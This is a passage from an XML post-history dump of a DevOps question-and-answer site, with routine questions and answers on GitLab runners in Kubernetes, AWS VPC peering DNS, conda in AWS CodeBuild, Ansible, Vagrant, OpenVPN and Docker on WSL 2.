  <row Id="39870" PostHistoryTypeId="5" PostId="12982" RevisionGUID="2f41b19a-f50d-4ebf-9e7e-948c878d0b28" CreationDate="2020-12-16T17:24:48.147" UserId="25185" Comment="added 351 characters in body" Text="I connected my existing kubernetes cluster to gitlab using the gitlab integration in myproject/operations/kubernetes on the left tab pane in the gitlab gui.&#xD;&#xA;&#xD;&#xA;After having installed helm + gitlab runner from the gitlab GUI applications, the new gitlab runner is visible in the project runners.&#xD;&#xA;&#xD;&#xA;What I don't understand from the gitlab documentation is how do you modify  the new runner's configuration. You cannot use the gitlab-runner cli, like for a non-kubernetes runner, because the runner in running in a pod, not on the host machine, right?&#xD;&#xA;&#xD;&#xA;I am not sure which part of the runner doc applies to my case. What to use if I wanted to make the runner use another executor or build from another image ? (default image of the pod is ubuntu 16 for me).&#xD;&#xA;&#xD;&#xA;If you have already installed and configured a runner installed this way, from the GUI, please tell me how. Thank you.&#xD;&#xA;&#xD;&#xA;Gitlab 12.9.2 hosted" ContentLicense="CC BY-SA 4.0" />
  <row Id="39871" PostHistoryTypeId="5" PostId="12983" RevisionGUID="ea09b552-2e28-4133-a29d-49fed179ec8b" CreationDate="2020-12-16T17:30:46.493" UserId="25185" Comment="divid in parts" Text="**Installing kubernetes integration on gitlab**&#xD;&#xA;&#xD;&#xA;In Admin Area -&gt; Overview -&gt; Runners, the instructions they give are:&#xD;&#xA;&#xD;&#xA;1. Install GitLab Runner&#xD;&#xA;1. Specify the following URL during the Runner setup: `https://&lt;your gitlab hostname&gt;/` &#xD;&#xA;1. Use the following registration token during setup: `&lt;insert-token-here&gt;` &#xD;&#xA;1. Start the Runner!&#xD;&#xA;&#xD;&#xA;_I'm on version 13.13.0 but I don't remember the instructions changing from version 12.x.x._&#xD;&#xA;&#xD;&#xA;**Project specific runners**&#xD;&#xA;&#xD;&#xA;As for your question regarding configuration, I'm a little bit confused if you're looking for something beyond those instructions. If you want to set up a runner specific to a project, you can go to a project then navigate to Settings -&gt; CI/CD -&gt; Runners -&gt; Specific Runners. There, there are more instructions on setting up project-specific runners.&#xD;&#xA;&#xD;&#xA;**Further configuring the runner**&#xD;&#xA;&#xD;&#xA;**EDIT**: The executor entirely depends on how the runner itself is installed. If it's installed on a kubernetes cluster, then it _must_ be the kubernetes executor. That will affect your pipeline. I think you can create another one if you install another one with the runner chart. You can also use Helm Tiller." ContentLicense="CC BY-SA 4.0" />
  <row Id="39872" PostHistoryTypeId="24" PostId="12983" RevisionGUID="ea09b552-2e28-4133-a29d-49fed179ec8b" CreationDate="2020-12-16T17:30:46.493" Comment="Proposed by 25185 approved by 22660 edit id of 1305" ContentLicense="CC BY-SA 4.0" />
  <row Id="39873" PostHistoryTypeId="2" PostId="12985" RevisionGUID="780ebd66-6d7d-4221-a2c7-977367596af2" CreationDate="2020-12-16T18:31:16.650" UserId="22660" Text="For my VPC, I went to:&#xD;&#xA;&#xD;&#xA;Actions -&gt; Edit DNS Settings -&gt; Allow accepter VPC (`vpc-&lt;id&gt;`) to resolve DNS of requester VPC (vpc-`&lt;id-default&gt;`) hosts to private IP and checked it. (It was unchecked before). I had to wait a little while before this took effect." ContentLicense="CC BY-SA 4.0" />
  <row Id="39874" PostHistoryTypeId="2" PostId="12986" RevisionGUID="c1947c64-08b2-4837-af9b-abe05d05960e" CreationDate="2020-12-16T18:57:11.200" UserId="25197" Text="You can use Storage Account Table. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39875" PostHistoryTypeId="2" PostId="12987" RevisionGUID="bf29d664-d2c4-457c-89c1-8c6ddb243ae1" CreationDate="2020-12-16T19:42:31.603" UserId="25198" Text="New in PHP environment.&#xD;&#xA;I build a specific folder for my test (API, GUI) with TestCase and Panther extends.&#xD;&#xA;&#xD;&#xA;My question us about impact for the prod environment: security Access, optimization compared to the weight of the code (some data test can be substantial) ...&#xD;&#xA;&#xD;&#xA;We should filter this folder ? How ?&#xD;&#xA;&#xD;&#xA;Disabled or enabled some option ?&#xD;&#xA;&#xD;&#xA;Best trick or practice ?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="39876" PostHistoryTypeId="1" PostId="12987" RevisionGUID="bf29d664-d2c4-457c-89c1-8c6ddb243ae1" CreationDate="2020-12-16T19:42:31.603" UserId="25198" Text="PHP : best practice about test folder for Prod Environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="39877" PostHistoryTypeId="3" PostId="12987" RevisionGUID="bf29d664-d2c4-457c-89c1-8c6ddb243ae1" CreationDate="2020-12-16T19:42:31.603" UserId="25198" Text="&lt;deployment&gt;&lt;testing&gt;&lt;php&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39878" PostHistoryTypeId="5" PostId="12985" RevisionGUID="5668dfa1-0f9c-4032-878c-85502bab290b" CreationDate="2020-12-16T21:30:56.847" UserId="22660" Comment="it was hard to read before" Text="For my VPC, I went to:&#xD;&#xA;&#xD;&#xA;&quot;Actions&quot; -&gt; &quot;Edit DNS Settings&quot; -&gt; &quot;Allow accepter VPC (`vpc-&lt;id&gt;`) to resolve DNS of requester VPC (vpc-`&lt;id-default&gt;`) hosts to private IP&quot;&#xD;&#xA;&#xD;&#xA;and checked it. (It was unchecked before). I had to wait a little while before this took effect." ContentLicense="CC BY-SA 4.0" />
  <row Id="39879" PostHistoryTypeId="2" PostId="12988" RevisionGUID="e540d167-e183-430c-96df-7546c12af1cc" CreationDate="2020-12-16T22:36:27.147" UserId="7837" Text="If I go to the GCP Console &gt; Billing &gt; Pricing, I see this:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;My question is what is the difference between &quot;Tiered Usage Start&quot; and &quot;List Price&quot;? Do I pay both monthly are they one-time charges?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/jIwwH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39880" PostHistoryTypeId="1" PostId="12988" RevisionGUID="e540d167-e183-430c-96df-7546c12af1cc" CreationDate="2020-12-16T22:36:27.147" UserId="7837" Text="Explanation of pricing on GCP - 'Tiered Usage Start' vs. 'List Price'" ContentLicense="CC BY-SA 4.0" />
  <row Id="39881" PostHistoryTypeId="3" PostId="12988" RevisionGUID="e540d167-e183-430c-96df-7546c12af1cc" CreationDate="2020-12-16T22:36:27.147" UserId="7837" Text="&lt;gcp&gt;&lt;billing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39882" PostHistoryTypeId="2" PostId="12989" RevisionGUID="3d41b6f7-d8f5-4502-8960-267b46166cb5" CreationDate="2020-12-17T03:18:29.813" UserId="7837" Text="How much of a risk is it to upload files directly to GCS from the browser? Would be nice to save on server costs ideally. Is there a way to rate limit by IP address or some form of credentials?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39883" PostHistoryTypeId="1" PostId="12989" RevisionGUID="3d41b6f7-d8f5-4502-8960-267b46166cb5" CreationDate="2020-12-17T03:18:29.813" UserId="7837" Text="Security of uploading directly to S3 or GCS via browser" ContentLicense="CC BY-SA 4.0" />
  <row Id="39884" PostHistoryTypeId="3" PostId="12989" RevisionGUID="3d41b6f7-d8f5-4502-8960-267b46166cb5" CreationDate="2020-12-17T03:18:29.813" UserId="7837" Text="&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39885" PostHistoryTypeId="5" PostId="12981" RevisionGUID="e646c1ed-b2fa-4af3-9c1f-c7f400b145e5" CreationDate="2020-12-17T05:37:12.470" UserId="25183" Comment="added 28 characters in body" Text="Is there a way to give my terraformed github_repository a custom logo?&#xD;&#xA;&#xD;&#xA;The [doc][1] doesn't have a field for it, but is there an undocumented feature?&#xD;&#xA;&#xD;&#xA;Branding is important!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/github/r/repository.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39887" PostHistoryTypeId="2" PostId="12990" RevisionGUID="d6171ecf-9046-46e9-b52f-6056859a2875" CreationDate="2020-12-17T07:54:19.907" UserId="25207" Text="So what I think I'm trying to do is pretty simple, I need to execute the following in-order:&#xD;&#xA;1. Run a script that will install via script VBoxLinuxAdditions.run **[this is working when I run it by itself]**&#xD;&#xA;2. Run my synced_folder provision after the VBoxLinuxAdditions.run have been run **[this works too by itself]**&#xD;&#xA;&#xD;&#xA;However I cannot get them to run in order together&#xD;&#xA;&#xD;&#xA;Snippet of my code is below:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;     config.vm.provision &quot;foo&quot;, type: &quot;shell&quot;, inline: &lt;&lt;-SHELL&#xD;&#xA;        mkdir /mnt/iso&#xD;&#xA;        mount -t iso9660 -o ro  /tmp/VBoxGuestAdditions.iso /mnt/iso/&#xD;&#xA;        /mnt/iso/VBoxLinuxAdditions.run&#xD;&#xA;      SHELL&#xD;&#xA;&#xD;&#xA;      config.vm.synced_folder &quot;~/tmp&quot;, &quot;/home/vagrant/tmp&quot;&#xD;&#xA;&#xD;&#xA;The only problem is that synced_folder runs before the shell provisoner -- I guess that is because of the outer/inner precedence however I have been unable to figure out how to specify that the synched_folder run after &quot;foo&quot;. I tried something like this, but no luck:&#xD;&#xA;&#xD;&#xA;      config.vm.synced_folder &quot;~/tmp&quot;, &quot;/home/vagrant/tmp&quot;, after: &quot;foo&quot;&#xD;&#xA;&#xD;&#xA;I've consulted the docs:&#xD;&#xA;1. sync_folder: https://www.vagrantup.com/docs/synced-folders/basic_usage&#xD;&#xA;2. provisioners: https://www.vagrantup.com/docs/provisioning/basic_usage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39888" PostHistoryTypeId="1" PostId="12990" RevisionGUID="d6171ecf-9046-46e9-b52f-6056859a2875" CreationDate="2020-12-17T07:54:19.907" UserId="25207" Text="How do I get synced_folder to execute after a shell provisoner" ContentLicense="CC BY-SA 4.0" />
  <row Id="39889" PostHistoryTypeId="3" PostId="12990" RevisionGUID="d6171ecf-9046-46e9-b52f-6056859a2875" CreationDate="2020-12-17T07:54:19.907" UserId="25207" Text="&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39890" PostHistoryTypeId="2" PostId="12991" RevisionGUID="6be6fb50-6908-486f-9536-2f008496443a" CreationDate="2020-12-17T10:31:57.533" UserId="25210" Text="This issue can be solved by using legacy SCM option. Go to Jenkins -&gt; Manage Jenkins -&gt; Configure System and select &quot;Legacy SCM&quot; option for share libs. this will resolve the issue completely, It worked for us.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/LFjy5.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39891" PostHistoryTypeId="2" PostId="12992" RevisionGUID="59f497b5-f2b8-45b8-abd7-ec5c48f67ff0" CreationDate="2020-12-17T14:05:49.657" UserId="25215" Text="I've encountered the same issue when trying to use conda environments in CI builds and Docker images. The [conda documentation][1] does provide an example when using Travis CI, but I does not work for me.&#xD;&#xA;&#xD;&#xA;However, via [this blog][2] I found a working solution! Instead of activating you environment, you can use it by calling `conda run -n my_env python my_file.py`. So keep everything like it was until you activate your environment.&#xD;&#xA;&#xD;&#xA;These build specs worked for me when using AWS CodeBuild:&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;version&quot;: &quot;0.2&quot;,&#xD;&#xA;  &quot;phases&quot;: {&#xD;&#xA;    &quot;pre_build&quot;: {&#xD;&#xA;      &quot;commands&quot;: [&#xD;&#xA;        &quot;wget https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh -O miniconda.sh -q&quot;,&#xD;&#xA;        &quot;bash miniconda.sh -b -p $HOME/miniconda&quot;,&#xD;&#xA;        &quot;. \&quot;$HOME/miniconda/etc/profile.d/conda.sh\&quot;&quot;,&#xD;&#xA;        &quot;hash -r&quot;,&#xD;&#xA;        &quot;conda config --set always_yes yes --set changeps1 no&quot;,&#xD;&#xA;        &quot;conda update -q conda&quot;,&#xD;&#xA;        &quot;conda info -a&quot;,&#xD;&#xA;        &quot;conda env create -q -p ./py_env -f environment.yml&quot;&#xD;&#xA;      ]&#xD;&#xA;    },&#xD;&#xA;    &quot;build&quot;: {&#xD;&#xA;      &quot;commands&quot;: [&#xD;&#xA;        &quot;conda run -p ./py_env python app.py&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.conda.io/projects/conda/en/latest/user-guide/tasks/use-conda-with-travis-ci.html&#xD;&#xA;  [2]: https://pythonspeed.com/articles/activate-conda-dockerfile/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39892" PostHistoryTypeId="5" PostId="6485" RevisionGUID="49e504b9-b5a8-4675-8f6a-c9c6ed6a873a" CreationDate="2020-12-17T14:28:08.603" UserId="12635" Comment="Made username consistent" Text="OK. The answer was simple. I needed to template the item.path. I guess this is a beginner mistake.&#xD;&#xA;&#xD;&#xA;    - hosts: localhost&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Find ini files&#xD;&#xA;          find:&#xD;&#xA;            paths: /home/myuser/projects/infra/php&#xD;&#xA;            file_type: file&#xD;&#xA;            recurse: Yes&#xD;&#xA;            patterns: &quot;*php.ini&quot;&#xD;&#xA;          register: files_matched&#xD;&#xA;&#xD;&#xA;        - name: Debug files_matched&#xD;&#xA;          debug:&#xD;&#xA;            var: files_matched.files&#xD;&#xA;&#xD;&#xA;        - name: Debug files_matched loop&#xD;&#xA;          debug:&#xD;&#xA;            var: item.path&#xD;&#xA;          loop: &quot;{{ files_matched.files|flatten(levels=1) }}&quot;&#xD;&#xA;          loop_control:&#xD;&#xA;            label: &quot;{{ item.path }}&quot;&#xD;&#xA;&#xD;&#xA;        - name: Ensure &quot;sendmail_path=/opt/mailhog/mhsendmail is in section &quot;[mail function]&quot;&#xD;&#xA;          ini_file:&#xD;&#xA;            path: &quot;{{ item.path }}&quot;&#xD;&#xA;            section: &quot;mail function&quot;&#xD;&#xA;            option: sendmail_path&#xD;&#xA;            value: /opt/mailhog/mhsendmail&#xD;&#xA;            mode: 0644&#xD;&#xA;            backup: no&#xD;&#xA;          loop: &quot;{{ files_matched.files|flatten(levels=1) }}&quot;&#xD;&#xA;          loop_control:&#xD;&#xA;            label: &quot;{{ item.path }}&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39893" PostHistoryTypeId="5" PostId="5094" RevisionGUID="a3c0804e-35e2-43a2-9904-5d13f1e58e37" CreationDate="2020-12-17T18:18:49.643" UserId="24256" Comment="Improve formatting a bit" Text="I'm confused as to what the purpose of `AssumeRolePolicyDocument` is.  &#xD;&#xA;It seems like to create a role all you need is a parent name that you can attach policies to.&#xD;&#xA;&#xD;&#xA;It seems like `AssumeRolePolicyDocument` is that parent name but somehow there's more to it.&#xD;&#xA;&#xD;&#xA;What is this doing?&#xD;&#xA;&#xD;&#xA;    &quot;AssumeRolePolicyDocument&quot;: {&#xD;&#xA;        &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;        &quot;Statement&quot;: [&#xD;&#xA;            {&#xD;&#xA;                &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                &quot;Principal&quot;: {&#xD;&#xA;                    &quot;Service&quot;: [&quot;lambda.amazonaws.com&quot;]&#xD;&#xA;                },&#xD;&#xA;                &quot;Action&quot;: [&quot;sts:AssumeRole&quot;]&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="39894" PostHistoryTypeId="24" PostId="5094" RevisionGUID="a3c0804e-35e2-43a2-9904-5d13f1e58e37" CreationDate="2020-12-17T18:18:49.643" Comment="Proposed by 24256 approved by 40 edit id of 1306" ContentLicense="CC BY-SA 4.0" />
  <row Id="39895" PostHistoryTypeId="2" PostId="12993" RevisionGUID="8957159e-3ac3-4ec2-9e90-83a219c7c35b" CreationDate="2020-12-18T02:34:48.973" UserId="12988" Text="I'm trying to run this command in a Amazon Linux AMI instance&#xD;&#xA;&#xD;&#xA;      - name: Run docker&#xD;&#xA;        shell: systemctl enable docker &amp;&amp; systemctl start docker &#xD;&#xA;&#xD;&#xA;And receiving this error message&#xD;&#xA;&#xD;&#xA;    &quot;stderr&quot;: &quot;/bin/sh: systemctl: No such file or directory&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I already tried with `command`, ansible systemd module and `/usr/bin/systemctl`." ContentLicense="CC BY-SA 4.0" />
  <row Id="39896" PostHistoryTypeId="1" PostId="12993" RevisionGUID="8957159e-3ac3-4ec2-9e90-83a219c7c35b" CreationDate="2020-12-18T02:34:48.973" UserId="12988" Text="Ansible No such file or directory error message for any executable in Amazon Linux AMI" ContentLicense="CC BY-SA 4.0" />
  <row Id="39897" PostHistoryTypeId="3" PostId="12993" RevisionGUID="8957159e-3ac3-4ec2-9e90-83a219c7c35b" CreationDate="2020-12-18T02:34:48.973" UserId="12988" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39903" PostHistoryTypeId="2" PostId="12995" RevisionGUID="5b9b53f3-a4f6-4d5a-813d-6a34e8b96c45" CreationDate="2020-12-18T04:18:17.890" UserId="4328" Text="There are a lot of gaps in your deployment and configuration strategy. In order to provide a more robust and elegant strategy, I suggest you:&#xD;&#xA;&#xD;&#xA; 1. Define autoscaling groups with Terraform instead of provisioning individual EC2 instances. Auto-scaling groups make dynamically scaling instances a much simpler process. It will also allow you to define scaling policies and health checks for your instances to determine when to add/remove instances from your autoscaling group. &#xD;&#xA; 2. Create and define CloudWatch Metrics and CloudWatch Alarms. CloudWatch allows you to create custom metrics to monitor and alert via CloudWatch Alarms. This can be used in conjunction with autoscaling group scaling policies to define a threshold to scale your instances based on metrics such as cpu utilization, application response time, etc.&#xD;&#xA; 3. Instead of using Ansible to configure each EC2 instance, use Ansible to configure an Amazon Machine Image (AMI) to be uploaded and used by your autoscaling group. If your instances are configured identically, configuration is a one and done process. If your instances are configured differently, consider uploading multiple AMIs, and separating into multiple autoscaling groups. You can also use the User Data definition of an EC2 sitnacne to run shell commands on each individual instance at **launch** (a one time process). &#xD;&#xA; 4. Last, but not least, instead of running this process from &quot;a devops machine&quot;, consider using a build/deploy CI pipeline to run and configure this entire process. Tools such as AWS CodePipeline, Jenkins, GitLab CI, etc. allow for you and other team members to run your configuration in a configured and repeatable manner. It will also allow you define stages and deployment strategies should you choose to implement testing for your application later on in your development process. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39904" PostHistoryTypeId="5" PostId="12995" RevisionGUID="ca6c084c-a017-4642-b9db-8ce93b3d73b3" CreationDate="2020-12-18T05:44:18.600" UserId="354" Comment="trival but important typo fix." Text="There are a lot of gaps in your deployment and configuration strategy. In order to provide a more robust and elegant strategy, I suggest you:&#xD;&#xA;&#xD;&#xA; 1. Define autoscaling groups with Terraform instead of provisioning individual EC2 instances. Auto-scaling groups make dynamically scaling instances a much simpler process. It will also allow you to define scaling policies and health checks for your instances to determine when to add/remove instances from your autoscaling group. &#xD;&#xA; 2. Create and define CloudWatch Metrics and CloudWatch Alarms. CloudWatch allows you to create custom metrics to monitor and alert via CloudWatch Alarms. This can be used in conjunction with autoscaling group scaling policies to define a threshold to scale your instances based on metrics such as cpu utilization, application response time, etc.&#xD;&#xA; 3. Instead of using Ansible to configure each EC2 instance, use Ansible to configure an Amazon Machine Image (AMI) to be uploaded and used by your autoscaling group. If your instances are configured identically, configuration is a one and done process. If your instances are configured differently, consider uploading multiple AMIs, and separating into multiple autoscaling groups. You can also use the User Data definition of an EC2 instance to run shell commands on each individual instance at **launch** (a one time process). &#xD;&#xA; 4. Last, but not least, instead of running this process from &quot;a devops machine&quot;, consider using a build/deploy CI pipeline to run and configure this entire process. Tools such as AWS CodePipeline, Jenkins, GitLab CI, etc. allow for you and other team members to run your configuration in a configured and repeatable manner. It will also allow you define stages and deployment strategies should you choose to implement testing for your application later on in your development process. " ContentLicense="CC BY-SA 4.0" />
  <row Id="39905" PostHistoryTypeId="2" PostId="12996" RevisionGUID="47f60a70-1b38-431b-a3a8-5e481865e6f8" CreationDate="2020-12-18T07:24:05.987" UserId="24120" Text="Team: &#xD;&#xA;All my container logs are under /var/log/containers.. &#xD;&#xA;&#xD;&#xA;Where in kubelet or docker config can I specify this path such that logs are instead created under new path? &#xD;&#xA;Ex : /shared ? Instead of /var/log" ContentLicense="CC BY-SA 4.0" />
  <row Id="39906" PostHistoryTypeId="1" PostId="12996" RevisionGUID="47f60a70-1b38-431b-a3a8-5e481865e6f8" CreationDate="2020-12-18T07:24:05.987" UserId="24120" Text="Change docker container’s log PATH" ContentLicense="CC BY-SA 4.0" />
  <row Id="39907" PostHistoryTypeId="3" PostId="12996" RevisionGUID="47f60a70-1b38-431b-a3a8-5e481865e6f8" CreationDate="2020-12-18T07:24:05.987" UserId="24120" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39911" PostHistoryTypeId="5" PostId="1202" RevisionGUID="93c99a09-7140-446e-89aa-f039b1d40238" CreationDate="2020-12-18T14:35:49.573" UserId="2449" Comment="added 48 characters in body" Text="&gt; **Notice**: [As of May 2018][1], travis-ci.org should no longer be used. The site will be closed on December 31st, 2020. Please refer to [beatngu13's answer][2] for updated information.&#xD;&#xA;&#xD;&#xA;###  Aside from pricing model, the two sites are identical.&#xD;&#xA;&#xD;&#xA;- [travis-ci.org][3] is a free service for public open source projects.&#xD;&#xA;- [travis-ci.com][4] is a paid service for private commercial projects.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;[From the FAQ page for Travis Pro][5]&#xD;&#xA;&#xD;&#xA;&gt; ### Why can’t I find information on pricing on travis-ci.org?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Travis CI is, and always will be, free for open source projects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For a list of plans and prices for private repositories, look at&#xD;&#xA;&gt; [travis-ci.com/plans][6].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.travis-ci.com/2018-05-02-open-source-projects-on-travis-ci-com-with-github-apps&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/4305/2449&#xD;&#xA;  [3]: https://travis-ci.org/&#xD;&#xA;  [4]: https://travis-ci.com/&#xD;&#xA;  [5]: https://docs.travis-ci.com/user/travis-pro/#Why-can%E2%80%99t-I-find-information-on-pricing-on-travis-ci.org%3F&#xD;&#xA;  [6]: https://travis-ci.com/plans" ContentLicense="CC BY-SA 4.0" />
  <row Id="39912" PostHistoryTypeId="5" PostId="12992" RevisionGUID="33952972-cbd9-497c-952c-ae22014e2a20" CreationDate="2020-12-18T18:51:21.780" UserId="739" Comment="copy editing and treat codeblock as json" Text="I've encountered the same issue when trying to use conda environments in CI builds and Docker images. The [conda documentation][1] does provide an example when using Travis CI, but it does not work for me.&#xD;&#xA;&#xD;&#xA;However, via [this blog][2] I found a working solution! Instead of activating your environment, you can use it by calling `conda run -n my_env python my_file.py`. So, keep everything like it was until you activate your environment.&#xD;&#xA;&#xD;&#xA;These build specs worked for me when using AWS CodeBuild:&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;  &quot;version&quot;: &quot;0.2&quot;,&#xD;&#xA;  &quot;phases&quot;: {&#xD;&#xA;    &quot;pre_build&quot;: {&#xD;&#xA;      &quot;commands&quot;: [&#xD;&#xA;        &quot;wget https://repo.continuum.io/miniconda/Miniconda3-latest-Linux-x86_64.sh -O miniconda.sh -q&quot;,&#xD;&#xA;        &quot;bash miniconda.sh -b -p $HOME/miniconda&quot;,&#xD;&#xA;        &quot;. \&quot;$HOME/miniconda/etc/profile.d/conda.sh\&quot;&quot;,&#xD;&#xA;        &quot;hash -r&quot;,&#xD;&#xA;        &quot;conda config --set always_yes yes --set changeps1 no&quot;,&#xD;&#xA;        &quot;conda update -q conda&quot;,&#xD;&#xA;        &quot;conda info -a&quot;,&#xD;&#xA;        &quot;conda env create -q -p ./py_env -f environment.yml&quot;&#xD;&#xA;      ]&#xD;&#xA;    },&#xD;&#xA;    &quot;build&quot;: {&#xD;&#xA;      &quot;commands&quot;: [&#xD;&#xA;        &quot;conda run -p ./py_env python app.py&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.conda.io/projects/conda/en/latest/user-guide/tasks/use-conda-with-travis-ci.html&#xD;&#xA;  [2]: https://pythonspeed.com/articles/activate-conda-dockerfile/" ContentLicense="CC BY-SA 4.0" />
  <row Id="39913" PostHistoryTypeId="2" PostId="12998" RevisionGUID="50cc1272-b38e-4702-972f-d43fb18b51aa" CreationDate="2020-12-18T23:54:16.340" UserId="24678" Text="I'm new to k8s and trying to grasp the infrastructure concepts, and trying to apply them in AWS. I know a k8s cluster has a control plane, which has the management nodes, and a data plane, which has the worker nodes. Do they have to run on their own respective VPC, or can they run on the same VPC? I hope that makes sense." ContentLicense="CC BY-SA 4.0" />
  <row Id="39914" PostHistoryTypeId="1" PostId="12998" RevisionGUID="50cc1272-b38e-4702-972f-d43fb18b51aa" CreationDate="2020-12-18T23:54:16.340" UserId="24678" Text="In k8s, do the controller nodes have to be in save VPC as the worker nodes for a cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39915" PostHistoryTypeId="3" PostId="12998" RevisionGUID="50cc1272-b38e-4702-972f-d43fb18b51aa" CreationDate="2020-12-18T23:54:16.340" UserId="24678" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39964" PostHistoryTypeId="2" PostId="12999" RevisionGUID="c0c8b93a-6343-4296-a53a-6438e7fcc281" CreationDate="2020-12-19T06:42:06.050" UserId="7837" Text="Terrible at networking over here. I have an OpenVPN server and local client on my destkop. I am trying to make only certain traffic to certain IPs go through the VPN. Is there a way to configure this using OpenVPN client on MacOS or Linux? Not seeing that option in the GUI config.&#xD;&#xA;&#xD;&#xA;This information is hard to come by and very annoying to find.&#xD;&#xA;This explains how to blacklist ips from the VPN, but I am looking to *whitelist* not *blacklist*:&#xD;&#xA;&#xD;&#xA;https://rmsol.de/2020/03/19/OpenVPN-bypass/#:~:text=If%20your%20are%20using%20OpenVPN,your%20bypass%2Froute%20you%20like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If someone could create and attach the &quot;openvpn&quot; tag that would be greeeat." ContentLicense="CC BY-SA 4.0" />
  <row Id="39965" PostHistoryTypeId="1" PostId="12999" RevisionGUID="c0c8b93a-6343-4296-a53a-6438e7fcc281" CreationDate="2020-12-19T06:42:06.050" UserId="7837" Text="How to only go through OpenVPN server for certain IPs" ContentLicense="CC BY-SA 4.0" />
  <row Id="39966" PostHistoryTypeId="3" PostId="12999" RevisionGUID="c0c8b93a-6343-4296-a53a-6438e7fcc281" CreationDate="2020-12-19T06:42:06.050" UserId="7837" Text="&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39967" PostHistoryTypeId="5" PostId="12985" RevisionGUID="a7ec6a55-c407-4884-b264-a88388b294bd" CreationDate="2020-12-19T08:44:26.290" UserId="22660" Comment="not vpc" Text="For my Peering Connection, I went to:&#xD;&#xA;&#xD;&#xA;&quot;Actions&quot; -&gt; &quot;Edit DNS Settings&quot; -&gt; &quot;Allow accepter VPC (`vpc-&lt;id&gt;`) to resolve DNS of requester VPC (vpc-`&lt;id-default&gt;`) hosts to private IP&quot;&#xD;&#xA;&#xD;&#xA;and checked it. (It was unchecked before). I had to wait a little while before this took effect." ContentLicense="CC BY-SA 4.0" />
  <row Id="39969" PostHistoryTypeId="2" PostId="13000" RevisionGUID="2d54eae3-66fd-4de3-a181-9e526d7fc3ed" CreationDate="2020-12-19T14:41:32.910" UserId="25082" Text="I'm learning about Docker. I feel stuck at the moment, I think that I have some wrong concepts about how Docker works, and that shadows  how it actually works, but I can't really locate the problem. I will try to write a quick overview how I now think Docker works, please bear with me. At the moment I only want to make it work only on my local machine, hence nothing is Deployed to a server in the outside world.&#xD;&#xA;&#xD;&#xA;I have a WSL 2 Ubuntu distro installed on top of Windows 10. This means that I have virtualized my hardware to create a VM to run Ubuntu. In that VM, I want to create Docker containers, that will virtualize the Ubuntu OS, and share the kernel, creating containers where I can run my app.&#xD;&#xA;&#xD;&#xA;In containers, there is no hypervisor, but still there is a thing that handles resources and other things. This is the Docker engine, in my setup the Docker Desktop for Windows, that contains the Docker engine. Here things start to get shady. Alongside the Ubuntu distro, I have two other WSL distros, docker-desktop and docker-desktop-data. It seems like these are used to implement Docker on WSL 2, and they are corresponding for a virtual machine running the Docker engine, and one for holding images, respectively.&#xD;&#xA;&#xD;&#xA;The Docker Desktop installed on Windows is connected to the WSL environment. The Docker host is the docker-desktop distro, while the images are stored in the docker-desktop-data. This is the host that I connect to with my client to use the images that I create / download. I tried to see where my docker images are stored, I could not find them where some sources say they should be, but I found a folder dynamically growing when I am creating images, and that is &quot;C:\Users\Username\AppData\Local\Docker&quot;. But how come they are on the Windows filesystem (their routes from Linux being mnt/Users/Username/...) and not somewhere 'nearer' to the files separated for Linux Distros? And if it's stored there, why do my images need contextes for building? Is it the goal for these two distros, or are they doing something else as 